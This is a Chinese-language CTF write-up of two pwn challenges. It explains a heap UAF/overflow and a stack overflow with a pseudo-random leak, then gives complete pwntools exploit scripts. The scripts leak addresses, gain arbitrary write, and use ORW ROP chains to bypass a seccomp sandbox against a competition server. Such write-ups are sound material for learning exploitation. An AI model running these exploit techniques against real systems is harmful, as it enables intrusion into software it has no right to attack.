0x00 前言:

止步46,不知道说什么,还是太菜了
alt text

0x01 PWN

malloc

不是正经堆题,但差不多。首先就是有沙箱,ban了execve和execveat

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

虽然去了符号表,但是不难看出这里有uaf
alt text正当我想gdb尝尝咸淡的时候发现不对劲
alt text回到ida,查看分配堆块的逻辑

qword_5200[v0 + 512] = sub_1365(v4);
qword_5200[v3 + 528] = v4;

可以通过这里找到堆块存放的位置以及堆块大小存放的位置,可以用这两个命令查看对应地址的内容

pwndbg> x/20gx $rebase(0x0000000000005200) + 528*8
pwndbg> x/20gx $rebase(0x0000000000005200) + 512*8

emm,堆块存放的地方并不在堆段上(?
alt text同时可以注意到存放第一个堆块的大小的与存放堆地址的位置离得很近,回到分配堆块的函数

if ( v3 <= 0x10 && (puts("size"), __isoc99_scanf("%u%c", &v4, &v2), v4 <= 0x70) && v4 > 0xF )

限制了只能申请16个堆块,第16个刚好能够覆盖掉第一个堆块的大小。

malloc(0,0x10)
malloc(0x10,0x10)

这样就可以有堆溢出,去写下一个相邻的堆块的fd,然后将堆块申请到管理堆块的这片内存,同时打印堆块的函数并没有做检测

if ( v2 <= 0x10 && qword_5200[v2 + 512] )
{
puts((const char *)qword_5200[v2 + 512]);
puts("Success");
}

依旧UAF,可以用来泄露pie base和libc base。

malloc(0,0x10)
malloc(1,0x70)
malloc(2,0x70)

malloc(0x10,0x10)

free(2)
free(1)

show(1)
pie_base = uu64(ru('Success')[-14:-8].ljust(8,b'\x00')) - 0x52a0
leak('pie_base')
elf.address = pie_base

还是堆的泄露手法,不过这次可以直接泄露pie base,泄露出来后通过第0个堆的堆溢出,能够修改fd,把堆块申请到管理堆块的内存上,直接就能制造一个任意地址写

payload = p64(0) * 3 + p64(0x80) + p64(pie_base + 0x61f0)
edit(0,payload)
malloc(3,0x70)
malloc(4,0x70)

效果大概是这样
alt text接着就能泄露libc,同时参考heap-2.35(UAF,堆栈结合) 泄露出environ,得到栈地址,继续利用这个任意地址写往栈上写rop链,最后orw即可,这里直接搬了stack的orw(,我是先做那题的

from pwn import *
from ctypes import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/ycb/malloc/pwn'
elf=ELF(file)
libc = ELF('/mnt/c/Users/Z2023/Desktop/ycb/malloc/libc.so.6')


choice = 0x001
if choice:
port= 23566
ycb = '45.40.247.139'
p = remote(ycb,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

def malloc(index,size):
sla('=======================\n','1')
sla('Index\n',str(index))
sla('size\n',str(size))

def free(index):
sla('=======================\n','2')
sla('Index\n',str(index))

def edit(index,content):
sla('=======================\n','3')
sla('Index\n',str(index))
sla('size\n',str(len(content)))
time.sleep(0.1)
s(content)

def show(index):
sla('=======================\n','4')
sla('Index\n',str(index))

malloc(0,0x10)
malloc(1,0x70)
malloc(2,0x70)

malloc(0x10,0x10)

free(2)
free(1)

show(1)
pie_base = uu64(ru('Success')[-14:-8].ljust(8,b'\x00')) - 0x52a0
leak('pie_base')
elf.address = pie_base

payload = p64(0) * 3 + p64(0x80) + p64(pie_base + 0x61f0)
edit(0,payload)
malloc(3,0x70)
malloc(4,0x70)

edit(4,p64(elf.got['read']))
show(0)
puts_addr = uu64(ru('Success')[-14:-8].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym.read
libc.address = libc_base
leak('libc_base')

edit(4,p64(libc.sym.environ))
# debug('b *$rebase(0x0000000000001A42)')
show(0)
stack_addr = uu64(ru('Success')[-14:-8].ljust(8,b'\x00'))
leak('stack_addr')
ret_addr = stack_addr - 0x140

edit(4,p64(ret_addr))

rdi = libc_os(0x000000000002a3e5) # pop rdi ; ret
rsi = libc_os(0x000000000002be51) # pop rsi ; ret
rdx = libc_os(0x000000000011f357) # pop rdx ; pop r12 ; ret

payload = flat(rdi,0,rsi,elf.bss() + 0x700,rdx,0x20,0,libc.sym.read) # read(0,elf.bss() + 0x700,0x20)
payload += flat(rdi,elf.bss() + 0x700,rsi,0,libc.sym.open) # open('/flag',0)
payload += flat(rdi,3,rsi,elf.bss()+ 0x710,rdx,0x50,0,libc.sym.readv) # readv(3, elf.bss()+ 0x710 , 0x50)
payload += flat(rdi,1,rsi,elf.bss()+ 0x800,rdx,0x50,0,libc.sym.write) # write(1, elf.bss()+ 0x800 , 0x50)
print(hex(len(payload)))

edit(0,payload)

pause()
payload = b'/flag\x00'
payload = payload.ljust(0x10,b'\x00')
payload += p64(elf.bss()+ 0x800) + p64(0x50)
sl(payload)

itr()

stack

check

Arch:       amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled

首先是初始化,把main函数的地址*3 / *4丢到qword_4040上
alt text按x找引用发现有个这样的函数,会输出刚刚的qword_4040,然后call sub_161F();alt text顺带一提,17行的函数就在上面这个输出函数的旁边,是一个exitalt text接着就是申请一个0x1000的堆块,然后一些其他的设置。继续往下看alt text往堆块上输入内容,可以输入0x2000字节,远超堆块大小。gdb测试发现,我们输入的地址距离下一个函数的地址是0x108alt text虽然开了pie,但是我们可以只写入一个字节,来劫持程序流到输出magic number的位置。这样我们就得到了这个

for ( qword_4038 = 0LL; qword_4038 <= 2; qword_4038 = rand() % 5 )
;
qword_4040 = (_QWORD)main * qword_4038;

伪随机嘛,也就是说我们得到了main,pie base

libc1.srand(libc1.time(0))

a = 0
while(a <= 2):
a = libc1.rand()%5
pass

payload = b'\x00' * 0x108 + b'\x5f'

sa('Good luck!\n',payload)

ru('magic number:')
number = int(rl()[:-1])
main = number // a
leak('main')
pie_base = main - 0x00000000000016B0
leak('pie_base')
elf.address = pie_base

接着回到了起点,这次有了pie,我们想办法泄露libc即可,我找了这段
alt text _seccomp_load并不会重置rdi寄存器,然后我们就可以用puts来泄露libc

payload = b'\x00' * 0x108 + p64(pie_base + 0x0000000000001489) + p64(0) + p64(elf.got.puts) + p64(0) * 5 + p64(elf.plt.puts) + p64(pie_base + 0x000000000000160A) + p64(0) + p64(pie_base + 0x00000000000161F)

sa('Good luck!\n',payload)
puts_addr = uu64(r(6).ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
leak('libc_base')
libc.address = libc_base

alt text依旧回到起点,这次直接布置orw的rop链即可,因为沙箱限制了read的第一个参数,所以这里使用了readv

from pwn import *
from ctypes import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/ycb/Stack_Over_Flow'
elf=ELF(file)
libc = ELF('/mnt/c/Users/Z2023/Desktop/ycb/libc.so.6')
libc1= cdll.LoadLibrary('/mnt/c/Users/Z2023/Desktop/ycb/libc.so.6')

choice = 0x001
if choice:
port= 17724
ycb = '45.40.247.139'
p = remote(ycb,port)
else:
p = process(file)


s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

stdout = 0x000000000004060
buf = 0x0000000000004010

libc1.srand(libc1.time(0))

a = 0
while(a <= 2):
a = libc1.rand()%5
pass

payload = b'\x00' * 0x108 + b'\x5f'

sa('Good luck!\n',payload)

ru('magic number:')
number = int(rl()[:-1])
main = number // a
leak('main')
pie_base = main - 0x00000000000016B0
leak('pie_base')
elf.address = pie_base

payload = b'\x00' * 0x108 + p64(pie_base + 0x0000000000001489) + p64(0) + p64(elf.got.puts) + p64(0) * 5 + p64(elf.plt.puts) + p64(pie_base + 0x000000000000160A) + p64(0) + p64(pie_base + 0x00000000000161F)

sa('Good luck!\n',payload)
puts_addr = uu64(r(6).ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
leak('libc_base')
libc.address = libc_base

rdi = libc_os(0x000000000002a3e5) # pop rdi ; ret
rsi = libc_os(0x000000000002be51) # pop rsi ; ret
rdx = libc_os(0x000000000011f357) # pop rdx ; pop r12 ; ret

payload = b'\x00' * 0x108 + p64(0) * 10
payload += flat(rdi,0,rsi,elf.bss() + 0x700,rdx,0x20,0,libc.sym.read) # read(0,elf.bss() + 0x700,0x20)

payload += flat(rdi,elf.bss() + 0x700,rsi,0,libc.sym.open) # open('/flag',0)
payload += flat(rdi,3,rsi,elf.bss()+ 0x710,rdx,0x50,0,libc.sym.readv) # readv(3, elf.bss()+ 0x710 , 0x50)
payload += flat(rdi,1,rsi,elf.bss()+ 0x800,rdx,0x50,0,libc.sym.write) # write(1, elf.bss()+ 0x800 , 0x50)
debug()
sa('Good luck!\n',payload)

pause()
payload = b'/flag\x00'
payload = payload.ljust(0x10,b'\x00')
payload += p64(elf.bss()+ 0x800) + p64(0x50)
sl(payload)
itr()